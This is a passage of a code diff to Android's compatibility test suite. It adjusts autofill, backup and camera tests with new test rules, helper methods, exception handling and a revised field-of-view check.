+ if (usernamePickerBoundaries1.top < usernameBoundaries1.bottom) {
+ assertThat(usernamePickerBoundaries1.bottom).isEqualTo(usernameBoundaries1.top);
+ } else {
+ assertThat(usernamePickerBoundaries1.top).isEqualTo(usernameBoundaries1.bottom);
+ }
+
assertThat(usernamePickerBoundaries1.left).isEqualTo(usernameBoundaries1.left);
}
@@ -514,7 +519,11 @@
"Password1 at " + passwordBoundaries1 + "; picker at " + passwordPickerBoundaries1);
// TODO(b/37566627): assertions below might be too aggressive - use range instead?
if (pickerAndViewBoundsMatches) {
- assertThat(passwordPickerBoundaries1.top).isEqualTo(passwordBoundaries1.bottom);
+ if (passwordPickerBoundaries1.top < passwordBoundaries1.bottom) {
+ assertThat(passwordPickerBoundaries1.bottom).isEqualTo(passwordBoundaries1.top);
+ } else {
+ assertThat(passwordPickerBoundaries1.top).isEqualTo(passwordBoundaries1.bottom);
+ }
assertThat(passwordPickerBoundaries1.left).isEqualTo(passwordBoundaries1.left);
}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/MaxVisibleDatasetsRule.java b/tests/autofillservice/src/android/autofillservice/cts/MaxVisibleDatasetsRule.java
new file mode 100644
index 0000000..8a397d9
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/MaxVisibleDatasetsRule.java
@@ -0,0 +1,63 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
+import org.junit.rules.TestRule;
+import org.junit.runner.Description;
+import org.junit.runners.model.Statement;
+
+/**
+ * Custom JUnit4 rule that improves autofill-related environment by:
+ *
+ * <ol>
+ * <li>Setting max_visible_datasets before and after test.
+ * </ol>
+ */
+public final class MaxVisibleDatasetsRule implements TestRule {
+
+ private static final String TAG = MaxVisibleDatasetsRule.class.getSimpleName();
+
+ private final int mMaxNumber;
+
+ /**
+ * Creates a MaxVisibleDatasetsRule with given datasets values.
+ *
+ * @param maxNumber The desired max_visible_datasets value for a test,
+ * after the test it will be replaced by the original value
+ */
+ public MaxVisibleDatasetsRule(int maxNumber) {
+ mMaxNumber = maxNumber;
+ }
+
+
+ @Override
+ public Statement apply(Statement base, Description description) {
+ return new Statement() {
+
+ @Override
+ public void evaluate() throws Throwable {
+ final int original = Helper.getMaxVisibleDatasets();
+ Helper.setMaxVisibleDatasets(mMaxNumber);
+ try {
+ base.evaluate();
+ } finally {
+ Helper.setMaxVisibleDatasets(original);
+ }
+ }
+ };
+ }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/SettingsIntentTest.java b/tests/autofillservice/src/android/autofillservice/cts/SettingsIntentTest.java
index 22ba3b9..54f391b 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/SettingsIntentTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/SettingsIntentTest.java
@@ -26,6 +26,8 @@
import android.provider.Settings;
import android.support.test.uiautomator.UiObject2;
+import com.android.compatibility.common.util.FeatureUtil;
+
import org.junit.After;
import org.junit.Test;
@@ -51,8 +53,12 @@
@After
public void killSettings() {
- // Make sure there's no Settings activity left , as it could fail future tests.
- runShellCommand("am force-stop com.android.settings");
+ // Make sure there's no Settings activity left, as it could fail future tests.
+ if (FeatureUtil.isAutomotive()) {
+ runShellCommand("am force-stop com.android.car.settings");
+ } else {
+ runShellCommand("am force-stop com.android.settings");
+ }
}
@Test
@@ -65,6 +71,7 @@
// Asserts services are shown.
mUiBot.assertShownByText(InstrumentedAutoFillService.sServiceLabel);
mUiBot.assertShownByText(InstrumentedAutoFillServiceCompatMode.sServiceLabel);
+ mUiBot.scrollToTextObject(NoOpAutofillService.SERVICE_LABEL);
mUiBot.assertShownByText(NoOpAutofillService.SERVICE_LABEL);
mUiBot.assertNotShowingForSure(BadAutofillService.SERVICE_LABEL);
diff --git a/tests/autofillservice/src/android/autofillservice/cts/SimpleSaveActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/SimpleSaveActivityTest.java
index f67bd5c..fb878d3 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/SimpleSaveActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/SimpleSaveActivityTest.java
@@ -1812,7 +1812,7 @@
// Tapping URLSpan.
final URLSpan span = mUiBot.findFirstUrlSpanWithText("Here is URLSpan");
- span.onClick(/* unused= */ null);
+ mActivity.syncRunOnUiThread(() -> span.onClick(/* unused= */ null));
// Waits for the save UI hided
mUiBot.waitForIdle();
diff --git a/tests/autofillservice/src/android/autofillservice/cts/UiBot.java b/tests/autofillservice/src/android/autofillservice/cts/UiBot.java
index 8babc6c..88173d3 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/UiBot.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/UiBot.java
@@ -55,6 +55,9 @@
import android.support.test.uiautomator.SearchCondition;
import android.support.test.uiautomator.UiDevice;
import android.support.test.uiautomator.UiObject2;
+import android.support.test.uiautomator.UiObjectNotFoundException;
+import android.support.test.uiautomator.UiScrollable;
+import android.support.test.uiautomator.UiSelector;
import android.support.test.uiautomator.Until;
import android.text.Html;
import android.text.Spanned;
@@ -1246,4 +1249,15 @@
.getSpans(0, accessibilityTextWithSpan.length(), URLSpan.class);
return spans[0];
}
+
+ public boolean scrollToTextObject(String text) {
+ UiScrollable scroller = new UiScrollable(new UiSelector().scrollable(true));
+ try {
+ // Swipe far away from the edges to avoid triggering navigation gestures
+ scroller.setSwipeDeadZonePercentage(0.25);
+ return scroller.scrollTextIntoView(text);
+ } catch (UiObjectNotFoundException e) {
+ return false;
+ }
+ }
}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerView.java b/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerView.java
index c9f676f..6634ec0 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerView.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerView.java
@@ -110,9 +110,9 @@
DisplayMetrics metrics = new DisplayMetrics();
WindowManager wm = (WindowManager) context.getSystemService(Context.WINDOW_SERVICE);
wm.getDefaultDisplay().getMetrics(metrics);
- mTopMargin = metrics.heightPixels * 5 / 100;
- mLeftMargin = metrics.widthPixels * 5 / 100;
- mTextHeight = metrics.widthPixels * 5 / 100; // adjust text size with display width
+ mTopMargin = metrics.heightPixels * 3 / 100;
+ mLeftMargin = metrics.widthPixels * 3 / 100;
+ mTextHeight = metrics.widthPixels * 3 / 100; // adjust text size with display width
mVerticalGap = metrics.heightPixels / 100;
mLineLength = mTextHeight + mVerticalGap;
diff --git a/tests/autofillservice/src/android/autofillservice/cts/inline/DatasetFilteringInlineTest.java b/tests/autofillservice/src/android/autofillservice/cts/inline/DatasetFilteringInlineTest.java
index e303321..036e744 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/inline/DatasetFilteringInlineTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/inline/DatasetFilteringInlineTest.java
@@ -22,11 +22,19 @@
import android.autofillservice.cts.DatasetFilteringTest;
import android.autofillservice.cts.Helper;
+import org.junit.rules.TestRule;
+
public class DatasetFilteringInlineTest extends DatasetFilteringTest {
public DatasetFilteringInlineTest() {
super(getInlineUiBot());
}
+
+ @Override
+ public TestRule getMainTestRule() {
+ return InlineUiBot.annotateRule(super.getMainTestRule());
+ }
+
@Override
protected boolean isInlineMode() {
return true;
diff --git a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAugmentedLoginActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAugmentedLoginActivityTest.java
index 75c1042..332c645 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAugmentedLoginActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAugmentedLoginActivityTest.java
@@ -29,6 +29,7 @@
import android.autofillservice.cts.AutofillActivityTestRule;
import android.autofillservice.cts.Helper;
+import android.autofillservice.cts.MyAutofillCallback;
import android.autofillservice.cts.augmented.AugmentedAutofillAutoActivityLaunchTestCase;
import android.autofillservice.cts.augmented.AugmentedLoginActivity;
import android.autofillservice.cts.augmented.CannedAugmentedFillResponse;
@@ -42,6 +43,7 @@
import android.widget.EditText;
import org.junit.Test;
+import org.junit.rules.TestRule;
import java.util.List;
@@ -65,6 +67,11 @@
};
}
+ @Override
+ public TestRule getMainTestRule() {
+ return InlineUiBot.annotateRule(super.getMainTestRule());
+ }
+
@Test
public void testAugmentedAutoFill_oneDatasetThenFilled() throws Exception {
// Set services
@@ -175,6 +182,8 @@
}
private void testBasicLoginAutofill() throws Exception {
+
+ final MyAutofillCallback callback = mActivity.registerCallback();
// Set expectations
final EditText username = mActivity.getUsername();
final EditText password = mActivity.getPassword();
@@ -202,6 +211,7 @@
// Confirm two suggestion
mUiBot.assertDatasets("dude");
+ callback.assertUiShownEvent(username);
mActivity.expectAutoFill("dude", "sweet");
@@ -210,6 +220,8 @@
mUiBot.waitForIdle();
mActivity.assertAutoFilled();
+ mUiBot.assertNoDatasetsEver();
+ callback.assertUiHiddenEvent(username);
}
@Test
@@ -315,6 +327,8 @@
Helper.mockSwitchInputMethod(sContext);
mUiBot.waitForIdleSync();
+ // Set new expectations
+ sReplier.addResponse(NO_RESPONSE);
sAugmentedReplier.addResponse(new CannedAugmentedFillResponse.Builder()
.addInlineSuggestion(new CannedAugmentedFillResponse.Dataset.Builder("Augment Me 2")
.setField(usernameId, "dude2", createInlinePresentation("dude2"))
@@ -326,8 +340,7 @@
// Trigger auto-fill
mUiBot.selectByRelativeId(ID_USERNAME);
mUiBot.waitForIdle();
-
- // Confirm new fill request
+ sReplier.getNextFillRequest();
sAugmentedReplier.getNextFillRequest();
// Confirm new suggestion
diff --git a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAuthenticationTest.java b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAuthenticationTest.java
index 43c2abc..5c63891 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAuthenticationTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAuthenticationTest.java
@@ -38,6 +38,7 @@
import android.platform.test.annotations.AppModeFull;
import org.junit.Test;
+import org.junit.rules.TestRule;
import java.util.regex.Pattern;
@@ -61,6 +62,11 @@
Helper.enableAutofillService(getContext(), SERVICE_NAME);
}
+ @Override
+ public TestRule getMainTestRule() {
+ return InlineUiBot.annotateRule(super.getMainTestRule());
+ }
+
@Test
public void testDatasetAuthTwoFields() throws Exception {
datasetAuthTwoFields(/* cancelFirstAttempt */ false);
diff --git a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineFillEventHistoryTest.java b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineFillEventHistoryTest.java
index feba57c..595b7ea 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineFillEventHistoryTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineFillEventHistoryTest.java
@@ -39,6 +39,7 @@
import android.support.test.uiautomator.UiObject2;
import org.junit.Test;
+import org.junit.rules.TestRule;
import java.util.List;
@@ -62,6 +63,11 @@
Helper.enableAutofillService(getContext(), SERVICE_NAME);
}
+ @Override
+ public TestRule getMainTestRule() {
+ return InlineUiBot.annotateRule(super.getMainTestRule());
+ }
+
@Test
public void testOneDatasetAndSave() throws Exception {
enableService();
diff --git a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineFilteringTest.java b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineFilteringTest.java
index e9675b1..c761d02 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineFilteringTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineFilteringTest.java
@@ -26,6 +26,7 @@
import android.autofillservice.cts.Helper;
import org.junit.Test;
+import org.junit.rules.TestRule;
// TODO: Move any tests needed from here into DatasetFilteringInlineTest.
/**
@@ -45,6 +46,11 @@
Helper.enableAutofillService(getContext(), SERVICE_NAME);
}
+ @Override
+ public TestRule getMainTestRule() {
+ return InlineUiBot.annotateRule(super.getMainTestRule());
+ }
+
@Test
public void testFiltering_filtersByPrefix() throws Exception {
enableService();
diff --git a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineLoginActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineLoginActivityTest.java
index 74a7d3a..6aff0d5 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineLoginActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineLoginActivityTest.java
@@ -16,6 +16,7 @@
package android.autofillservice.cts.inline;
+import static android.autofillservice.cts.CannedFillResponse.NO_RESPONSE;
import static android.autofillservice.cts.Helper.ID_PASSWORD;
import static android.autofillservice.cts.Helper.ID_USERNAME;
import static android.autofillservice.cts.Helper.assertTextIsSanitized;
@@ -47,6 +48,7 @@
import com.android.cts.mockime.MockImeSession;
import org.junit.Test;
+import org.junit.rules.TestRule;
public class InlineLoginActivityTest extends LoginActivityCommonTestCase {
@@ -66,6 +68,11 @@
return true;
}
+ @Override
+ public TestRule getMainTestRule() {
+ return InlineUiBot.annotateRule(super.getMainTestRule());
+ }
+
@Test
public void testAutofill_disjointDatasets() throws Exception {
// Set service.
@@ -131,15 +138,16 @@
@Test
public void testAutofill_SwitchToAutofillableActivity() throws Exception {
- assertAutofill_SwitchActivity(UsernameOnlyActivity.class);
+ assertAutofill_SwitchActivity(UsernameOnlyActivity.class, /* autofillable */ true);
}
@Test
public void testAutofill_SwitchToNonAutofillableActivity() throws Exception {
- assertAutofill_SwitchActivity(NonAutofillableActivity.class);
+ assertAutofill_SwitchActivity(NonAutofillableActivity.class, /* autofillable */ false);
}
- private void assertAutofill_SwitchActivity(Class<?> clazz) throws Exception {
+ private void assertAutofill_SwitchActivity(Class<?> clazz, boolean autofillable)
+ throws Exception {
// Set service.
enableService();
@@ -170,6 +178,10 @@
// Trigger input method show.
mUiBot.selectByRelativeId(ID_USERNAME);
mUiBot.waitForIdleSync();
+ if (autofillable) {
+ sReplier.addResponse(NO_RESPONSE);
+ sReplier.getNextFillRequest();
+ }
// Make sure suggestion is not shown.
mUiBot.assertNoDatasets();
}
@@ -358,9 +370,8 @@
enableService();
final int firstDataset = 1;
- final int lastDataset = 6;
final CannedFillResponse.Builder builder = new CannedFillResponse.Builder();
- for (int i = firstDataset; i <= lastDataset; i++) {
+ for (int i = firstDataset; i <= 20; i++) {
builder.addDataset(new CannedFillResponse.CannedDataset.Builder()
.setField(ID_USERNAME, "dude" + i)
.setPresentation(createPresentation("Username" + i))
@@ -375,14 +386,12 @@
mUiBot.waitForIdleSync();
mUiBot.assertSuggestion("Username" + firstDataset);
- mUiBot.assertNoSuggestion("Username" + lastDataset);
// Scroll the suggestion view
mUiBot.scrollSuggestionView(Direction.RIGHT, /* speed */ 5000);
mUiBot.waitForIdleSync();
mUiBot.assertNoSuggestion("Username" + firstDataset);
- mUiBot.assertSuggestion("Username" + lastDataset);
sReplier.getNextFillRequest();
mUiBot.waitForIdleSync();
diff --git a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineSimpleSaveActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineSimpleSaveActivityTest.java
index c2b5515..42f4f16 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineSimpleSaveActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineSimpleSaveActivityTest.java
@@ -36,6 +36,7 @@
import androidx.annotation.NonNull;
import org.junit.Test;
+import org.junit.rules.TestRule;
public class InlineSimpleSaveActivityTest
extends AutoFillServiceTestCase.AutoActivityLaunch<SimpleSaveActivity> {
@@ -63,6 +64,11 @@
};
}
+ @Override
+ public TestRule getMainTestRule() {
+ return InlineUiBot.annotateRule(super.getMainTestRule());
+ }
+
@Test
public void testAutofillSave() throws Exception {
// Set service.
diff --git a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineUiBot.java b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineUiBot.java
index ca8e473..af53383 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineUiBot.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineUiBot.java
@@ -21,14 +21,19 @@
import static android.autofillservice.cts.Timeouts.UI_TIMEOUT;
import android.autofillservice.cts.UiBot;
+import android.content.pm.PackageManager;
import android.support.test.uiautomator.By;
import android.support.test.uiautomator.BySelector;
import android.support.test.uiautomator.Direction;
import android.support.test.uiautomator.UiObject2;
+import com.android.compatibility.common.util.RequiredFeatureRule;
import com.android.compatibility.common.util.Timeout;
import com.android.cts.mockime.MockIme;
+import org.junit.rules.RuleChain;
+import org.junit.rules.TestRule;
+
/**
* UiBot for the inline suggestion.
*/
@@ -39,6 +44,9 @@
private static final BySelector SUGGESTION_STRIP_SELECTOR = By.desc(SUGGESTION_STRIP_DESC);
+ private static final RequiredFeatureRule REQUIRES_IME_RULE = new RequiredFeatureRule(
+ PackageManager.FEATURE_INPUT_METHODS);
+
public InlineUiBot() {
this(UI_TIMEOUT);
}
@@ -47,6 +55,10 @@
super(defaultTimeout);
}
+ public static RuleChain annotateRule(TestRule rule) {
+ return RuleChain.outerRule(REQUIRES_IME_RULE).around(rule);
+ }
+
@Override
public void assertNoDatasets() throws Exception {
assertNoDatasetsEver();
diff --git a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineWebViewActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineWebViewActivityTest.java
index d5f0503..63cf648 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineWebViewActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineWebViewActivityTest.java
@@ -40,6 +40,7 @@
import android.view.ViewStructure.HtmlInfo;
import org.junit.Test;
+import org.junit.rules.TestRule;
public class InlineWebViewActivityTest extends AbstractWebViewTestCase<WebViewActivity> {
@@ -77,6 +78,11 @@
return true;
}
+ @Override
+ public TestRule getMainTestRule() {
+ return InlineUiBot.annotateRule(super.getMainTestRule());
+ }
+
@Test
public void testAutofillNoDatasets() throws Exception {
// Set service.
diff --git a/tests/backup/AndroidTest.xml b/tests/backup/AndroidTest.xml
index 1f99fdb..ec0ade5 100644
--- a/tests/backup/AndroidTest.xml
+++ b/tests/backup/AndroidTest.xml
@@ -27,6 +27,7 @@
-remove SwitchUserTargetPreparer
-->
<option name="config-descriptor:metadata" key="parameter" value="not_secondary_user" />
+ <object type="module_controller" class="com.android.tradefed.testtype.suite.module.Sdk30ModuleController" />
<target_preparer class="com.android.tradefed.targetprep.SwitchUserTargetPreparer">
<option name="user-type" value="system" />
</target_preparer>
diff --git a/tests/camera/src/android/hardware/camera2/cts/AllocationTest.java b/tests/camera/src/android/hardware/camera2/cts/AllocationTest.java
index 776879d..a3e6256 100644
--- a/tests/camera/src/android/hardware/camera2/cts/AllocationTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/AllocationTest.java
@@ -431,7 +431,7 @@
int width = size.getWidth();
int height = size.getHeight();
/**
- * Check the input allocation is sane.
+ * Check the input allocation is valid.
* - Byte size matches what we expect.
* - The input is not all zeroes.
*/
diff --git a/tests/camera/src/android/hardware/camera2/cts/CameraDeviceTest.java b/tests/camera/src/android/hardware/camera2/cts/CameraDeviceTest.java
index 1f90f1c..4374db9 100644
--- a/tests/camera/src/android/hardware/camera2/cts/CameraDeviceTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/CameraDeviceTest.java
@@ -17,6 +17,7 @@
package android.hardware.camera2.cts;
import static android.hardware.camera2.cts.CameraTestUtils.*;
+import static com.android.ex.camera2.blocking.BlockingCameraManager.*;
import static com.android.ex.camera2.blocking.BlockingStateCallback.*;
import static com.android.ex.camera2.blocking.BlockingSessionCallback.*;
import static org.mockito.Mockito.*;
@@ -2776,35 +2777,23 @@
assertTrue("Audio restriction mode mismatch: input: " + mode0 + ", output:" + retMode,
retMode == mode0);
- cam1 = CameraTestUtils.openCamera(mCameraManager, id1, cam1Cb, mHandler);
+ try {
+ cam1 = CameraTestUtils.openCamera(mCameraManager, id1, cam1Cb, mHandler);
+ } catch (CameraAccessException | BlockingOpenException e) {
+ Log.i(TAG, "Camera " + id1 + "cannot be opened along with camera " + id0 +
+ ", skipping the test");
+ return;
+ }
cam1Cb.waitForState(STATE_OPENED, CAMERA_OPEN_TIMEOUT_MS);
// See if cam0 is evicted.
- boolean cam0Evicted = true;
try {
final int cameraEvictedTimeoutMs = 1000;
cam0Cb.waitForState(STATE_DISCONNECTED, cameraEvictedTimeoutMs);
+ fail("Opened camera " + id0 + " is evicted by a later open call for camera " +
+ id1 + " from the same process");
} catch (TimeoutRuntimeException e) {
// camera 0 is not evicted
- cam0Evicted = false;
- }
-
- if (cam0Evicted) {
- Log.i(TAG, "Camera " + id0 + " is evicted. Testing camera " + id1 + " alone.");
- // cam0 is evicted
- try {
- cam0.setCameraAudioRestriction(mode0);
- fail("Should get CameraAccessException for disconnected camera.");
- } catch (CameraAccessException e) {
- // expected
- }
- // Test the behavior for single remaining client
- int mode1 = CameraDevice.AUDIO_RESTRICTION_VIBRATION;
- cam1.setCameraAudioRestriction(mode1);
- retMode = cam1.getCameraAudioRestriction();
- assertTrue("Audio restriction mode mismatch: input: " + mode1 +
- ", output:" + retMode, retMode == mode1);
- return;
}
// The output mode should be union of all CameraDevices
diff --git a/tests/camera/src/android/hardware/camera2/cts/CameraManagerTest.java b/tests/camera/src/android/hardware/camera2/cts/CameraManagerTest.java
index 5fe5d2f..ff1bdb7 100644
--- a/tests/camera/src/android/hardware/camera2/cts/CameraManagerTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/CameraManagerTest.java
@@ -138,6 +138,8 @@
case CameraAccessException.CAMERA_DISABLED:
case CameraAccessException.CAMERA_DISCONNECTED:
case CameraAccessException.CAMERA_ERROR:
+ case CameraAccessException.CAMERA_IN_USE:
+ case CameraAccessException.MAX_CAMERAS_IN_USE:
return reason;
}
@@ -188,7 +190,8 @@
}
// Test an external camera is connected if FEATURE_CAMERA_EXTERNAL is advertised
- if (mPackageManager.hasSystemFeature(PackageManager.FEATURE_CAMERA_EXTERNAL)) {
+ if (!mAdoptShellPerm &&
+ mPackageManager.hasSystemFeature(PackageManager.FEATURE_CAMERA_EXTERNAL)) {
assertTrue("External camera is not connected on device with FEATURE_CAMERA_EXTERNAL",
externalCameraConnected);
}
@@ -374,11 +377,13 @@
mCameraManager.openCamera(cameraId, mCameraListener, mHandler);
}
} catch (CameraAccessException e) {
- if (checkCameraAccessExceptionReason(e) == CameraAccessException.CAMERA_ERROR) {
- expectingError = true;
- } else {
+ int reason = checkCameraAccessExceptionReason(e);
+ if (reason == CameraAccessException.CAMERA_DISCONNECTED ||
+ reason == CameraAccessException.CAMERA_DISABLED) {
// TODO: We should handle a Disabled camera by passing here and elsewhere
fail("Camera must not be disconnected or disabled for this test" + ids[i]);
+ } else {
+ expectingError = true;
}
}
@@ -421,7 +426,8 @@
verify(mockListener)
.onError(
argument.capture(),
- eq(CameraDevice.StateCallback.ERROR_MAX_CAMERAS_IN_USE));
+ eq(CameraDevice.StateCallback.ERROR_MAX_CAMERAS_IN_USE)
+ );
verifyNoMoreInteractions(mockListener);
camera = argument.getValue();
diff --git a/tests/camera/src/android/hardware/camera2/cts/CaptureRequestTest.java b/tests/camera/src/android/hardware/camera2/cts/CaptureRequestTest.java
index 4a4aa0d8..90a7dcd 100644
--- a/tests/camera/src/android/hardware/camera2/cts/CaptureRequestTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/CaptureRequestTest.java
@@ -2361,7 +2361,7 @@
result.get(CaptureResult.TONEMAP_PRESET_CURVE));
}
- // Tonemap curve result availability and basic sanity check for all modes.
+ // Tonemap curve result availability and basic validity check for all modes.
mCollector.expectValuesInRange("Tonemap curve red values are out of range",
CameraTestUtils.toObject(mapRed), /*min*/ZERO, /*max*/ONE);
mCollector.expectInRange("Tonemap curve red length is out of range",
@@ -2999,8 +2999,9 @@
*/
private void changeExposure(CaptureRequest.Builder requestBuilder,
long expTime, int sensitivity) {
- // Check if the max analog sensitivity is available and no larger than max sensitivity.
- // The max analog sensitivity is not actually used here. This is only an extra sanity check.
+ // Check if the max analog sensitivity is available and no larger than max sensitivity. The
+ // max analog sensitivity is not actually used here. This is only an extra correctness
+ // check.
mStaticInfo.getMaxAnalogSensitivityChecked();
expTime = mStaticInfo.getExposureClampToRange(expTime);
diff --git a/tests/camera/src/android/hardware/camera2/cts/ConcurrentCameraTest.java b/tests/camera/src/android/hardware/camera2/cts/ConcurrentCameraTest.java
index 6ee7ec2..d04ac12 100644
--- a/tests/camera/src/android/hardware/camera2/cts/ConcurrentCameraTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/ConcurrentCameraTest.java
@@ -79,6 +79,7 @@
public List<ImageReader> y8Targets = new ArrayList<ImageReader>();
public List<ImageReader> rawTargets = new ArrayList<ImageReader>();
public List<ImageReader> heicTargets = new ArrayList<ImageReader>();
+ public List<ImageReader> depth16Targets = new ArrayList<ImageReader>();
public TestSample(String cameraId, StaticMetadata staticInfo,
MandatoryStreamCombination combination, boolean subY8) {
this.cameraId = cameraId;
@@ -247,9 +248,9 @@
CameraTestUtils.setupConfigurationTargets(
testSample.combination.getStreamsInformation(), testSample.privTargets,
testSample.jpegTargets, testSample.yuvTargets, testSample.y8Targets,
- testSample.rawTargets, testSample.heicTargets, testSample.outputConfigs,
- MIN_RESULT_COUNT, testSample.substituteY8, /*substituteHEIC*/false,
- /*physicalCameraId*/null, mHandler);
+ testSample.rawTargets, testSample.heicTargets, testSample.depth16Targets,
+ testSample.outputConfigs, MIN_RESULT_COUNT, testSample.substituteY8,
+ /*substituteHEIC*/false, /*physicalCameraId*/null, mHandler);
try {
checkSessionConfigurationSupported(info.mCamera, mHandler, testSample.outputConfigs,
@@ -344,6 +345,9 @@
for (ImageReader target : testSample.heicTargets) {
target.close();
}
+ for (ImageReader target : testSample.depth16Targets) {
+ target.close();
+ }
}
}
}
diff --git a/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java b/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java
index 07155ff..7bf1f4c 100644
--- a/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java
@@ -2084,7 +2084,7 @@
}
/**
- * Sanity check of optical black regions.
+ * Correctness check of optical black regions.
*/
@Test
public void testOpticalBlackRegions() {
diff --git a/tests/camera/src/android/hardware/camera2/cts/ImageWriterTest.java b/tests/camera/src/android/hardware/camera2/cts/ImageWriterTest.java
index 99c6b33..6cfa435 100644
--- a/tests/camera/src/android/hardware/camera2/cts/ImageWriterTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/ImageWriterTest.java
@@ -187,7 +187,7 @@
texture.setDefaultBufferSize(640, 480);
Surface surface = new Surface(texture);
- // Make sure that the default newInstance is still sane.
+ // Make sure that the default newInstance is still valid.
ImageWriter defaultWriter = ImageWriter.newInstance(surface, MAX_NUM_IMAGES);
Image defaultImage = defaultWriter.dequeueInputImage();
defaultWriter.close();
diff --git a/tests/camera/src/android/hardware/camera2/cts/LogicalCameraDeviceTest.java b/tests/camera/src/android/hardware/camera2/cts/LogicalCameraDeviceTest.java
index 4a88c84..56c2652 100644
--- a/tests/camera/src/android/hardware/camera2/cts/LogicalCameraDeviceTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/LogicalCameraDeviceTest.java
@@ -92,7 +92,6 @@
private static final double FRAME_DURATION_THRESHOLD = 0.03;
private static final double FOV_THRESHOLD = 0.03;
- private static final double ASPECT_RATIO_THRESHOLD = 0.03;
private static final long MAX_TIMESTAMP_DIFFERENCE_THRESHOLD = 10000000; // 10ms
private StateWaiter mSessionWaiter;
@@ -994,51 +993,56 @@
}
/**
- * Validate that physical cameras' crop region are compensated based on focal length.
+ * Validate that physical cameras are not cropping too much.
*
- * This is to make sure physical processed streams have the same field of view as long as
- * the physical cameras supports it.
+ * This is to make sure physical processed streams have at least the same field of view as
+ * the logical stream, or the maximum field of view of the physical camera, whichever is
+ * smaller.
+ *
+ * Note that the FOV is calculated in the directio of sensor width.
*/
private void validatePhysicalCamerasFov(TotalCaptureResult totalCaptureResult,
List<String> physicalCameraIds) {
Rect cropRegion = totalCaptureResult.get(CaptureResult.SCALER_CROP_REGION);
Float focalLength = totalCaptureResult.get(CaptureResult.LENS_FOCAL_LENGTH);
- float cropAspectRatio = (float)cropRegion.width() / cropRegion.height();
+ Float zoomRatio = totalCaptureResult.get(CaptureResult.CONTROL_ZOOM_RATIO);
+ Rect activeArraySize = mStaticInfo.getActiveArraySizeChecked();
+ SizeF sensorSize = mStaticInfo.getValueFromKeyNonNull(
+ CameraCharacteristics.SENSOR_INFO_PHYSICAL_SIZE);
// Assume subject distance >> focal length, and subject distance >> camera baseline.
- float fov = cropRegion.width() / (2 * focalLength);
+ double fov = 2 * Math.toDegrees(Math.atan2(sensorSize.getWidth() * cropRegion.width() /
+ (2 * zoomRatio * activeArraySize.width()), focalLength));
+
Map<String, CaptureResult> physicalResultsDual =
totalCaptureResult.getPhysicalCameraResults();
for (String physicalId : physicalCameraIds) {
